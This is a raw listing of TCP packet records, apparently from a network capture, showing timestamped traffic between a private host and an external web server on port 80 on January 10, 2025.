Jan 10, 2025 20:53:47.804626942 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.804639101 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.804650068 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.804658890 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.804670095 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.804681063 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.804688931 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.804724932 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.807069063 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.807152987 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.807163954 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.807173967 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.807194948 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.811273098 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.821624994 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.822463989 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822499037 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822519064 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.822525024 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822537899 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822551012 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822560072 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.822592020 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.822614908 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822627068 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822638035 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822649002 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822662115 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.822670937 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.822690964 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.833612919 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.838517904 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.856266022 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.856280088 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.856291056 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.856422901 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.858155012 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.889369011 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889431000 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889441967 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889452934 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889466047 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889477015 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.889487982 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889497042 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.889538050 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.889614105 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889625072 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889636993 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889655113 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.889813900 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889823914 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889834881 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889847040 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889856100 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.889883995 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.889981031 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.889991999 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.890002966 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.890017986 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.890049934 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.890065908 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.890075922 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.890110016 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.922924042 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.922938108 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.922949076 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.922960997 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.922972918 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923005104 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923021078 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923032999 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923038006 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923058033 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923121929 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923134089 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923165083 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923172951 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923183918 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923207998 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923249960 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923261881 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923280001 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923290968 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923300982 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923310041 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923333883 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923351049 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923506021 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923516989 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923527002 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923538923 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923557997 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923584938 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923609018 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923619986 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923629999 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923640966 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923652887 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923666954 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923672915 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923683882 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.923696041 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.923717022 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.924226046 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924242973 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924257040 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924266100 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924274921 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.924284935 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924295902 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924304962 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.924314022 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924324989 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924338102 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.924343109 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924355984 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924361944 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924370050 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.924380064 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924391985 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924401999 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.924415112 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.924443007 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925019026 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925035954 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925046921 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925055981 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925065041 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925076962 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925084114 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925095081 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925107002 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925117016 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925132036 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925138950 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925148964 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925160885 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925167084 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925178051 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925192118 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925200939 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925200939 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925214052 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925225973 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925235987 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925246954 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925255060 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925270081 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.925276995 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.925295115 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.927824974 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.927835941 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.927848101 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.927870035 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.927896023 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.927968025 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.927983999 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.927995920 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928002119 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928008080 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928018093 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928035975 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928047895 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928055048 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928066015 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928076982 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928088903 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928095102 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928106070 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928114891 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928126097 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928137064 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928153038 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928158998 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928174973 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928843021 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928859949 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928873062 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928883076 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928890944 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928903103 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928916931 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928925991 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928939104 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928951025 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.928957939 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928970098 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928978920 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.928987980 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.929003000 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929008007 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.929017067 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929025888 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929038048 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929050922 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.929055929 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929066896 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929079056 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929088116 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.929099083 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929110050 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.929126978 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.929647923 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929661989 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929672956 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929682970 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.929697990 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.929723024 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.931950092 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.980159998 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980170012 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980185986 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980197906 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980206966 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980216980 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.980237007 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980247974 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980254889 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.980267048 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980288029 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.980305910 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.980313063 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980330944 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980346918 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980359077 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980366945 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.980375051 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980386019 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980396986 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.980403900 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980411053 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980423927 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.980443954 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013624907 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013638020 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013648987 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013654947 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013662100 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013672113 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013679028 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013756037 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013767958 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013775110 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013797045 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013797045 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013797045 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013811111 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013850927 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013860941 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013870955 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013881922 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013894081 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013901949 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013912916 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.013920069 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013950109 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.013993025 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014009953 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014020920 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014031887 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014040947 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014051914 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014064074 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014075041 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014082909 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014094114 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014103889 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014112949 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014120102 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014152050 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014189005 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014205933 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014216900 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014221907 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014234066 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014239073 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014246941 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014254093 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014266014 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014285088 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014312983 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014353991 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014373064 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014384031 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014394045 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014401913 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014425039 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014453888 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014463902 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014472961 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014484882 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014497042 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014504910 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014535904 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014553070 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014563084 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014578104 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014589071 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014600039 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014611959 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014621019 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014631033 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014638901 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014648914 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014667988 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014679909 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014698982 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014710903 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014720917 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014739037 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014750004 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014756918 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014769077 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014780045 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014792919 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014799118 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014822006 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014869928 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014880896 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014893055 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.014914989 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.014938116 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015039921 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015050888 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015062094 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015081882 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015090942 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015100956 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015113115 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015124083 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015132904 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015145063 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015152931 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015166998 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015185118 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015192032 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015208960 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015221119 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015229940 CET	49731	80	192.168.2.6	193.143.1.205
